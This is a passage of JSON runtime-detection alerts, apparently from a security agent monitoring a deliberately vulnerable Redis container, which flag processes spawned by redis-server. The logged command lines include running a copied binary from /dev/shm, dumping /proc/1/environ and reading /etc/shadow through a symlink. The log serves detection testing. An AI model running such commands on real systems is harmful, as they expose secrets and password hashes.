/dev/shm/malicious"},"file":{"name":"cp","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125954":{"pid":125954,"cmdline":"/bin/sh -c cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cp␟125955":{"pid":125955,"cmdline":"/usr/bin/cp /bin/echo /dev/shm/malicious","comm":"cp","ppid":125954,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cp"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: cp with PID 125955","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/dev/shm/malicious","pwned"],"exec":"/dev/shm/malicious","message":"Unexpected process launched: malicious with PID 125956"},"infectedPID":125956,"severity":1,"timestamp":"2026-04-12T17:02:40.484042455Z","trace":{},"uniqueID":"decb434041b892f2a4bd62d4f4530594","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"malicious","commandLine":"/dev/shm/malicious pwned"},"file":{"name":"malicious","directory":"/dev/shm"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125954":{"pid":125954,"cmdline":"/bin/sh -c cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"malicious␟125956":{"pid":125956,"cmdline":"/dev/shm/malicious pwned","comm":"malicious","ppid":125954,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/dev/shm/malicious"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: malicious with PID 125956","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Process executed from malicious source","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/dev/shm/malicious","pwned"],"exec":"/dev/shm/malicious","message":"Execution from malicious source: /dev/shm/malicious in directory /"},"infectedPID":125956,"severity":8,"timestamp":"2026-04-12T17:02:40.484042455Z","trace":{},"uniqueID":"4992599c229ad2799cef2a6e6ef0ce78","identifiers":{"process":{"name":"malicious","commandLine":"/dev/shm/malicious pwned"},"file":{"name":"malicious","directory":"/dev/shm"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R1000","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125954":{"pid":125954,"cmdline":"/bin/sh -c cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"malicious␟125956":{"pid":125956,"cmdline":"/dev/shm/malicious pwned","comm":"malicious","ppid":125954,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/dev/shm/malicious"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Execution from malicious source: /dev/shm/malicious in directory /","msg":"Process executed from malicious source","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/rm","-f","/dev/shm/malicious"],"exec":"/usr/bin/rm","message":"Unexpected process launched: rm with PID 125957"},"infectedPID":125957,"severity":1,"timestamp":"2026-04-12T17:02:40.486743812Z","trace":{},"uniqueID":"415e75cd1e3b8d1acb10b6a2e4f97e4e","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"rm","commandLine":"/usr/bin/rm -f /dev/shm/malicious"},"file":{"name":"rm","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125954":{"pid":125954,"cmdline":"/bin/sh -c cp /bin/echo /dev/shm/malicious \u0026\u0026 /dev/shm/malicious pwned 2\u003e\u00261; rm -f /dev/shm/malicious","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"rm␟125957":{"pid":125957,"cmdline":"/usr/bin/rm -f /dev/shm/malicious","comm":"rm","ppid":125954,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/rm"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: rm with PID 125957","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125958"},"infectedPID":125958,"severity":1,"timestamp":"2026-04-12T17:02:40.504472771Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125958":{"pid":125958,"cmdline":"/bin/sh -c cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125958","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/tr","\\0","\\n"],"exec":"/usr/bin/tr","message":"Unexpected process launched: tr with PID 125960"},"infectedPID":125960,"severity":1,"timestamp":"2026-04-12T17:02:40.507275276Z","trace":{},"uniqueID":"e21ce635c3312ab6d14d3a585d7c953d","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"tr","commandLine":"/usr/bin/tr \\0 \\n"},"file":{"name":"tr","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125958":{"pid":125958,"cmdline":"/bin/sh -c cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"tr␟125960":{"pid":125960,"cmdline":"/usr/bin/tr \\0 \\n","comm":"tr","ppid":125958,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/tr"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: tr with PID 125960","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/cat","/proc/1/environ"],"exec":"/usr/bin/cat","message":"Unexpected process launched: cat with PID 125959"},"infectedPID":125959,"severity":1,"timestamp":"2026-04-12T17:02:40.507674393Z","trace":{},"uniqueID":"c72d283f13b6c19d97dcd2928d496ef2","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/usr/bin/cat /proc/1/environ"},"file":{"name":"cat","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125958":{"pid":125958,"cmdline":"/bin/sh -c cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125959":{"pid":125959,"cmdline":"/usr/bin/cat /proc/1/environ","comm":"cat","ppid":125958,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: cat with PID 125959","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/head","-3"],"exec":"/usr/bin/head","message":"Unexpected process launched: head with PID 125961"},"infectedPID":125961,"severity":1,"timestamp":"2026-04-12T17:02:40.507705596Z","trace":{},"uniqueID":"ffb341ebfb11b61bf3b62e4eb2cbe02e","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"head","commandLine":"/usr/bin/head -3"},"file":{"name":"head","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125958":{"pid":125958,"cmdline":"/bin/sh -c cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"head␟125961":{"pid":125961,"cmdline":"/usr/bin/head -3","comm":"head","ppid":125958,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/head"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: head with PID 125961","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Read Environment Variables from procfs","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","flags":["O_RDONLY"],"message":"Reading environment variables from procfs: /proc/1/environ by process cat","path":"/proc/1/environ"},"infectedPID":125959,"severity":5,"timestamp":"2026-04-12T17:02:40.509569365Z","trace":{},"uniqueID":"ef0be41dd87ff19a09544d8f86e520b5","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat"},"file":{"name":"environ","directory":"/proc/1"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0008","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125958":{"pid":125958,"cmdline":"/bin/sh -c cat /proc/1/environ 2\u003e/dev/null | tr \"\\0\" \"\\n\" | head -3 || echo no_environ","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125959":{"pid":125959,"cmdline":"/usr/bin/cat /proc/1/environ","comm":"cat","ppid":125958,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Reading environment variables from procfs: /proc/1/environ by process cat","msg":"Read Environment Variables from procfs","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","ln -sf /etc/shadow /tmp/shadow_link 2\u003e\u00261 \u0026\u0026 cat /tmp/shadow_link 2\u003e/dev/null; rm -f /tmp/shadow_link"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125962"},"infectedPID":125962,"severity":1,"timestamp":"2026-04-12T17:02:40.526130981Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c ln -sf /etc/shadow /tmp/shadow_link 2\u003e\u00261 \u0026\u0026 cat /tmp/shadow_link 2\u003e/dev/null; rm -f /tmp/shadow_link"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125962":{"pid":125962,"cmdline":"/bin/sh -c ln -sf /etc/shadow /tmp/shadow_link 2\u003e\u00261 \u0026\u0026 cat /tmp/shadow_link 2\u003e/dev/null; rm -f /tmp/shadow_link","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125962","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/ln","-sf","/etc/shadow","/tmp/shadow_link"],"exec":"/usr/bin/ln","message":"Unexpected process launched: ln with PID 125963"},"infectedPID":125963,"severity":1,"timestamp":"2026-04-12T17:02:40.528632584Z","trace":{},"uniqueID":"55cb8f7d685576caecc2cbd2c1c9124a","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"ln","commandLine":"/usr/bin/ln -sf /etc/shadow /tmp/shadow_link"},"file":{"name":"ln","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125962":{"pid":125962,"cmdline":"/bin/sh -c ln -sf /etc/shadow /tmp/shadow_link 2\u003e\u00261 \u0026\u0026 cat /tmp/shadow_link 2\u003e/dev/null; rm -f /tmp/shadow_link","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"ln␟125963":{"pid":125963,"cmdline":"/usr/bin/ln -sf /etc/shadow /tmp/shadow_link","comm":"ln","ppid":125962,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/ln"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: ln with PID 125963","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/cat","/tmp/shadow_link"],"exec":"/usr/bin/cat","message":"Unexpected process launched: cat with PID 125965"},"infectedPID":125965,"severity":1,"timestamp":"2026-04-12T17:02:40.531485884Z","trace":{},"uniqueID":"c72d283f13b6c19d97dcd2928d496ef2","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/usr/bin/cat /tmp/shadow_link"},"file":{"name":"cat","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125962":{"pid":125962,"cmdline":"/bin/sh -c ln -sf /etc/shadow /tmp/shadow_link 2\u003e\u00261 \u0026\u0026 cat /tmp/shadow_link 2\u003e/dev/null; rm -f 